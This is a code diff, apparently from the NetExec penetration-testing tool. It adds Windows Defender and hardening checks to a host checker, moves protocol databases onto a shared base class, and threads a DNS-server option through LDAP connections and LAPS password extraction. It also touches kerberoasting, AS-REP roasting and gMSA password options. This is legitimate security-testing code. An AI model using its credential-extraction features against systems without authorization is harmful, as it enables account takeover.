self.wcc_logger = logging.getLogger("WCC")
self.wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
@@ -160,7 +161,7 @@ class HostChecker:
def run(self):
self.init_checks()
self.check_config()
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
@@ -190,7 +191,15 @@ class HostChecker:
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]),
ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]),
ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]),
ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender no path exlusions", "Checks Defender path exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]),
ConfigCheck("Defender no extension exclusions", "Checks Defender extension exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")])
]
# Add check to conf_checks table if missing
@@ -243,7 +252,7 @@ class HostChecker:
if host_id is not None:
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
def check_registry(self, *specs, options=None):
def check_registry(self, *specs, options=None, stop_on_error=False):
"""
Perform checks that only require to compare values in the registry with expected values, according to the specs
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
@@ -261,6 +270,7 @@ class HostChecker:
try:
if len(spec) == 3:
(key, value_name, expected_value) = spec
op = operator.eq
elif len(spec) == 4:
(key, value_name, expected_value, op) = spec
else:
@@ -268,7 +278,7 @@ class HostChecker:
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
return ok, reasons
if op == operator.eq:
@@ -308,6 +318,9 @@ class HostChecker:
else:
ok = False
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
if stop_on_error:
ok = None
return ok, reasons
continue
if op(value, expected_value):
@@ -479,6 +492,78 @@ class HostChecker:
return success, reasons
def get_exclusions(self, key_name):
exclusions = []
try:
values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True)
for _, value_name, _ in values:
exclusions.append(value_name)
except Exception:
self.context.log.debug("No defender exclusion policies")
return len(exclusions), exclusions
def check_defender_exclusion(self, *spec, options=None):
try:
if len(spec) == 2:
(policy_key_name, key_name) = spec
else:
ok = False
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}")
return ok, reasons
reasons = []
success = True
count, exclusions_p = self.get_exclusions(policy_key_name)
reasons = [f"Policy: [{', '.join(exclusions_p)}]"]
count_k, exclusions_k = self.get_exclusions(key_name)
reasons.append(f"Manual: [{', '.join(exclusions_k)}]")
count += count_k
if count > 0:
success = False
return success, reasons
def check_defender_service(self):
ok = True
raised = False
reasons = []
try:
service_config, service_status = self.get_service("windefend", self.connection)
if service_status == scmr.SERVICE_RUNNING:
reasons.append("windefend service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = False
reasons.append("windefend service not running")
except DCERPCException as e:
ok = True
raised = True
reasons = [f"windefend service check error({e})"]
if ok is False or raised is True:
try:
service_config, service_status = self.get_service("sense", self.connection)
if service_status == scmr.SERVICE_RUNNING:
reasons.append("sense service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = False
reasons.append("sense service not running")
except DCERPCException as e:
ok = True
raised = True
reasons.append(f"sense service check error({e})")
if raised is True:
reasons_save = reasons
args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1)
ok, reasons = self.check_registry(args)
reasons.extend(reasons_save)
return ok, reasons
def _open_root_key(self, dce, connection, root_key):
ans = None
retries = 1
@@ -527,7 +612,7 @@ class HostChecker:
break
return subkeys
def reg_query_value(self, dce, connection, keyName, valueName=None):
def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False):
"""Query remote registry data for a given registry value"""
def subkey_values(subkey_handle):
@@ -580,8 +665,10 @@ class HostChecker:
subkey_handle = ans["phkResult"]
if valueName is None:
if valueName is None and all_value is False:
return get_value(subkey_handle)[2]
elif valueName is None and all_value is True:
return subkey_values(subkey_handle)
else:
for _, name, data in subkey_values(subkey_handle):
if name.upper() == valueName.upper():
@@ -635,15 +722,19 @@ class HostChecker:
self.context.log.error(f"ls(): C:\\{path} {e}\n")
return file_listing
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
def in_(obj, seq):
return obj in seq
def startswith(string, start):
return string.startswith(start)
def not_(boolean_operator):
def wrapper(*args, **kwargs):
return not boolean_operator(*args, **kwargs)
-1
View File
@@ -142,7 +142,6 @@ def main():
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
+5
View File
@@ -512,6 +512,11 @@ class NXCDBMenu(cmd.Cmd):
def do_exit(line):
sys.exit()
@staticmethod
def do_EOF(line):
sys.exit()
@staticmethod
def help_exit():
help_string = """
+2 -1
View File
@@ -8,6 +8,7 @@ def parse_result_attributes(ldap_response):
continue
attribute_map = {}
for attribute in entry["attributes"]:
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components]
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
parsed_response.append(attribute_map)
return parsed_response
+7 -1
View File
@@ -25,7 +25,13 @@ class ftp(connection):
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
pass
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def enum_host_info(self):
welcome = self.conn.getwelcome()
+29 -48
View File
@@ -1,31 +1,23 @@
from pathlib import Path
import sys
from sqlalchemy import Table, select, delete, func
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table, select, delete, func
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
self.sess = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -80,26 +72,13 @@ class database:
)
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.sess.execute(table.delete())
def add_host(self, host, port, banner):
"""Check if this host is already in the DB, if not add it"""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
# create new host
if not results:
@@ -133,7 +112,7 @@ class database:
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.sess.execute(q, hosts) # .scalar()
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
@@ -143,8 +122,9 @@ class database:
"""Check if this credential has already been added to the database, if not add it in."""
credentials = []
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.sess.execute(q).all()
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
func.lower(self.CredentialsTable.c.password) == func.lower(password))
results = self.db_execute(q).all()
# add new credential
if not results:
@@ -170,10 +150,11 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.sess.execute(q_users, credentials) # .scalar()
self.db_execute(q_users, credentials) # .scalar()
# hacky way to get cred_id since we can't use returning() yet
if len(credentials) == 1:
@@ -187,7 +168,7 @@ class database:
for cred_id in creds_id:
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
del_hosts.append(q)
self.sess.execute(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -195,7 +176,7 @@ class database:
self.CredentialsTable.c.id == credential_id,
self.CredentialsTable.c.password is not None,
)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_credential(self, username, password):
@@ -203,7 +184,7 @@ class database:
self.CredentialsTable.c.username == username,
self.CredentialsTable.c.password == password,
)
results = self.sess.execute(q).first()
results = self.db_execute(q).first()
if results is not None:
return results.id
@@ -220,12 +201,12 @@ class database:
else:
q = select(self.CredentialsTable)
return self.sess.execute(q).all()
return self.db_execute(q).all()
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None):
@@ -235,26 +216,26 @@ class database:
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.sess.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by host
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.host.like(like_term))
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
return results
def is_user_valid(self, cred_id):
"""Check if this User ID is valid."""
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
results = self.sess.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_user(self, username):
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
return self.sess.execute(q).all()
return self.db_execute(q).all()
def get_users(self, filter_term=None):
q = select(self.CredentialsTable)
@@ -265,14 +246,14 @@ class database:
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
return self.sess.execute(q).all()
return self.db_execute(q).all()
def add_loggedin_relation(self, cred_id, host_id):
relation_query = select(self.LoggedinRelationsTable).filter(
self.LoggedinRelationsTable.c.credid == cred_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.sess.execute(relation_query).all()
results = self.db_execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -282,7 +263,7 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.sess.execute(q, [relation]) # .scalar()
self.db_execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
@@ -295,7 +276,7 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.sess.execute(q).all()
return self.db_execute(q).all()
def remove_loggedin_relations(self, cred_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -303,7 +284,7 @@ class database:
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.sess.execute(q)
self.db_execute(q)
def add_directory_listing(self, lir_id, data):
pass
+7 -6
View File
@@ -172,12 +172,12 @@ class ldap(connection):
self.logger.debug(f"ldap_connection: {ldap_connection}")
except SysCallError as e:
if proto == "ldaps":
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
self.logger.debug("Even if the port is open, LDAPS may not be configured")
self.logger.fail("Even if the port is open, LDAPS may not be configured")
else:
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
return [None, None, None]
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
exit(1)
resp = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
@@ -302,7 +302,7 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
else:
@@ -752,7 +752,7 @@ class ldap(connection):
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
@@ -1419,6 +1419,7 @@ class ldap(connection):
auth.get_tgt()
if self.args.use_kcache:
self.logger.highlight("Using kerberos auth from ccache")
auth.load_ccache()
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
+7 -30
View File
@@ -1,30 +1,20 @@
from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
import sys
from sqlalchemy import Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.logger import nxc_logger
import sys
from nxc.database import BaseDB
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -59,16 +49,3 @@ class database:
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
+27 -31
View File
@@ -1,5 +1,3 @@
import binascii
import hashlib
from json import loads
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
@@ -37,12 +35,13 @@ class LDAPConnect:
def proto_logger(self, host, port, hostname):
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
lmhash = ""
nthash = ""
if kdcHost is None:
kdcHost = domain
if kdcHost is None or domain not in kdcHost:
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
exit(1)
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(":") != -1:
@@ -54,12 +53,13 @@ class LDAPConnect:
baseDN = ""
domainParts = domain.split(".")
for i in domainParts:
baseDN += f"dc={i},"
baseDN += f"DC={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
ldap_connection.kerberosLogin(
username,
password,
@@ -78,7 +78,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
ldap_connection.login(
username,
password,
@@ -105,18 +105,14 @@ class LDAPConnect:
color="magenta" if error_code in ldap_error_status else "red",
)
return False
except OSError:
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
return False
except KerberosError as e:
self.logger.fail(
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
color="red",
)
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
return False
def auth_login(self, domain, username, password, ntlm_hash):
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
lmhash = ""
nthash = ""
@@ -135,7 +131,7 @@ class LDAPConnect:
base_dn = base_dn[:-1]
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
ldap_connection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
@@ -148,7 +144,7 @@ class LDAPConnect:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
ldap_connection.login(username, password, domain, lmhash, nthash)
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
@@ -173,7 +169,7 @@ class LDAPConnect:
class LAPSv2Extract:
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
if ntlm_hash.find(":") != -1:
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
@@ -187,6 +183,7 @@ class LAPSv2Extract:
self.do_kerberos = do_kerberos
self.kdcHost = kdcHost
self.logger = None
self.dns_server = dns_server
self.proto_logger(self.domain, port, self.domain)
def proto_logger(self, host, port, hostname):
@@ -218,7 +215,7 @@ class LAPSv2Extract:
gke = kds_cache[key_id["RootKeyId"]]
else:
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
@@ -263,7 +260,7 @@ class LAPSv2Extract:
return plaintext[:-18].decode("utf-16le")
def laps_search(self, username, password, cred_type, domain):
def laps_search(self, username, password, cred_type, domain, dns_server):
prev_protocol = self.logger.extra["protocol"]
prev_port = self.logger.extra["port"]
self.logger.extra["protocol"] = "LDAP"
@@ -274,7 +271,7 @@ def laps_search(self, username, password, cred_type, domain):
if self.kerberos:
if self.kdcHost is None:
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
return None, None, None, None
return None, None, None
connection = ldapco.kerberos_login(
domain[0],
@@ -283,6 +280,7 @@ def laps_search(self, username, password, cred_type, domain):
password[0] if cred_type[0] == "hash" else "",
kdcHost=self.kdcHost,
aesKey=self.aesKey,
dns_server=dns_server
)
else:
connection = ldapco.auth_login(
@@ -290,11 +288,12 @@ def laps_search(self, username, password, cred_type, domain):
username[0] if username else "",
password[0] if cred_type[0] == "plaintext" else "",
password[0] if cred_type[0] == "hash" else "",
dns_server
)
if not connection:
self.logger.fail(f"LDAP connection failed with account {username[0]}")
return None, None, None, None
return None, None, None
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
attributes = [
@@ -325,13 +324,14 @@ def laps_search(self, username, password, cred_type, domain):
password[0] if cred_type[0] == "hash" else "",
self.kerberos,
self.kdcHost,
339
339,
dns_server
)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return None, None, None, None
return None, None, None
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
@@ -346,21 +346,17 @@ def laps_search(self, username, password, cred_type, domain):
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
else:
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None, None
return None, None, None
if msMCSAdmPwd == "":
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None, None
hash_ntlm = None
if cred_type[0] == "hash":
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
return None, None, None
username = username_laps if username_laps else self.args.laps
password = msMCSAdmPwd
domain = self.hostname
self.args.local_auth = True
self.kerberos = False
self.logger.extra["protocol"] = prev_protocol
self.logger.extra["port"] = prev_port
return username, password, domain, hash_ntlm
return username, password, domain
+3 -3
View File
@@ -11,7 +11,7 @@ def proto_args(parser, parents):
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
@@ -26,13 +26,13 @@ def proto_args(parser, parents):
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa")
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
return parser
+28 -54
View File
@@ -1,37 +1,24 @@
from pathlib import Path
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy.exc import SAWarning
import warnings
from nxc.logger import nxc_logger
import sys
import warnings
from sqlalchemy import func, select, insert, update, delete, Table
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning, NoInspectionAvailable, NoSuchTableError
from nxc.database import BaseDB
from nxc.logger import nxc_logger
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
warnings.filterwarnings("ignore", category=SAWarning)
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -83,19 +70,6 @@ class database:
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
